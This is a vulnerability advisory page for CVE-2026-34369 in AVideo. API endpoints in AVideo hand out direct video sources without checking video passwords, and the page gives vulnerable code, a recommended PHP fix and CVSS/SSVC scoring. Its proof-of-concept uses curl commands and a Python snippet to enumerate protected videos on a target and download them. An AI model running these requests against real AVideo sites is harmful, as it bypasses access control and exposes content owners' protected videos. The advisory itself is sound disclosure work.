Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-q6jj-r49p-94fh
Advisory ID github_osv/GHSA-q6jj-r49p-94fh
Aliases CVE-2026-34369
Summary AVideo has Video Password Protection Bypass via API Endpoints Returning Full Playback Sources Without Password Verification ## Summary The `get_api_video_file` and `get_api_video` API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the `CustomizeUser::getModeYouTube()` hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly. ## Details The video password protection is enforced in the web UI via `CustomizeUser::getModeYouTube()` (`plugin/CustomizeUser/CustomizeUser.php:787`), which calls `videoPasswordIsGood()` before rendering the video player. However, this hook is only invoked during web page rendering — the API endpoints bypass it entirely. **Vulnerable endpoint 1 — `get_api_video_file` (`plugin/API/API.php:986-1004`):** ```php public function get_api_video_file($parameters) { global $global; $obj = $this->startResponseObject($parameters); $obj->videos_id = $parameters['videos_id']; if (!self::isAPISecretValid()) { if (!User::canWatchVideoWithAds($obj->videos_id)) { return new ApiObject("You cannot watch this video"); } } $video = new Video('', '', $obj->videos_id); $obj->filename = $video->getFilename(); // ... $obj->video_file = Video::getHigherVideoPathFromID($obj->videos_id); $obj->sources = getSources($obj->filename, true); return new ApiObject("", false, $obj); } ``` The only access check is `User::canWatchVideoWithAds()` (`objects/user.php:1102-1159`), which checks admin status, video active status, owner status, and plugin-level restrictions (subscription/PPV). It does **not** check `video_password`. Password-protected videos have status `'a'` (active), which passes all checks. **Vulnerable endpoint 2 — `get_api_video` (`plugin/API/API.php:1635-1810`):** This endpoint returns video metadata including full `videos` paths (line 1759) and `sources` arrays (line 1785) for all videos in query results, with no password verification anywhere in the function. **The intended password check exists but is never called from these endpoints:** `Video::verifyVideoPassword()` (`objects/video.php:543-553`) is the proper password verification function, and `get_api_video_password_is_correct` exists as a separate API endpoint — proving password verification was intended as an access control. But neither `get_api_video_file` nor `get_api_video` invoke any password check. ## PoC ```bash # Step 1: Identify a password-protected video via the video list API curl -s 'https://target.com/plugin/API/get.json.php?APIName=video&rowCount=50' | \ python3 -c " import json, sys data = json.load(sys.stdin) for v in data.get('response',{}).get('rows',[]): if v.get('video_password'): print(f'ID: {v[\"id\"]}, Title: {v[\"title\"]}, Password Protected: YES') print(f' Direct sources: {json.dumps(v.get(\"sources\",[])[0] if v.get(\"sources\") else \"none\")}')" # Step 2: Retrieve full playback sources for the password-protected video curl -s 'https://target.com/plugin/API/get.json.php?APIName=video_file&videos_id=<PROTECTED_VIDEO_ID>' # Expected: access denied or password prompt # Actual: full response with direct MP4/HLS URLs: # {"error":false,"response":{"videos_id":"123","filename":"video_abc", # "video_file":"https://target.com/videos/video_abc/video_abc_HD.mp4", # "sources":[{"src":"https://target.com/videos/video_abc/video_abc_HD.mp4","type":"video/mp4"}]}} # Step 3: Download the protected video directly curl -O 'https://target.com/videos/video_abc/video_abc_HD.mp4' ``` ## Impact Any unauthenticated user can retrieve direct playable video URLs for all password-protected videos, completely bypassing the password requirement. The `get_api_video` endpoint additionally exposes which videos are password-protected (via the `video_password` field set to `'1'`), allowing targeted enumeration. This renders the `video_password` feature ineffective for any content accessible through the API, which includes mobile apps, third-party integrations, and direct API consumers. ## Recommended Fix Add password verification to both API endpoints before returning video sources. In `plugin/API/API.php`: ```php public function get_api_video_file($parameters) { global $global; $obj = $this->startResponseObject($parameters); $obj->videos_id = $parameters['videos_id']; if (!self::isAPISecretValid()) { if (!User::canWatchVideoWithAds($obj->videos_id)) { return new ApiObject("You cannot watch this video"); } // Check video password protection $video = new Video('', '', $obj->videos_id); $storedPassword = $video->getVideo_password(); if (!empty($storedPassword)) { $providedPassword = @$parameters['video_password']; if (empty($providedPassword) || !Video::verifyVideoPassword($providedPassword, $storedPassword)) { return new ApiObject("Video password required", true); } } } // ... rest of function } ``` Apply the same check in `get_api_video()` before populating the `videos` and `sources` fields (around line 1759), replacing source data with an empty object when the password is not provided or incorrect. Also fix `get_api_video_password_is_correct` to use `Video::verifyVideoPassword()` instead of direct `==` comparison (line 1126), which currently fails for bcrypt hashes.
Status Published
Exploitability 0.5
Weighted Severity 4.8
Risk 2.4
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-q6jj-r49p-94fh/GHSA-q6jj-r49p-94fh.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-30T19:03:05Z/

Decision: Track

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/34xxx/CVE-2026-34369.json

Source Advisory: vulnrichment/CVE-2026-34369

View SSVC decision tree
[{'Exploitation': 'poc'},
 {'Automatable': 'yes'},
 {'Technical Impact': 'partial'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]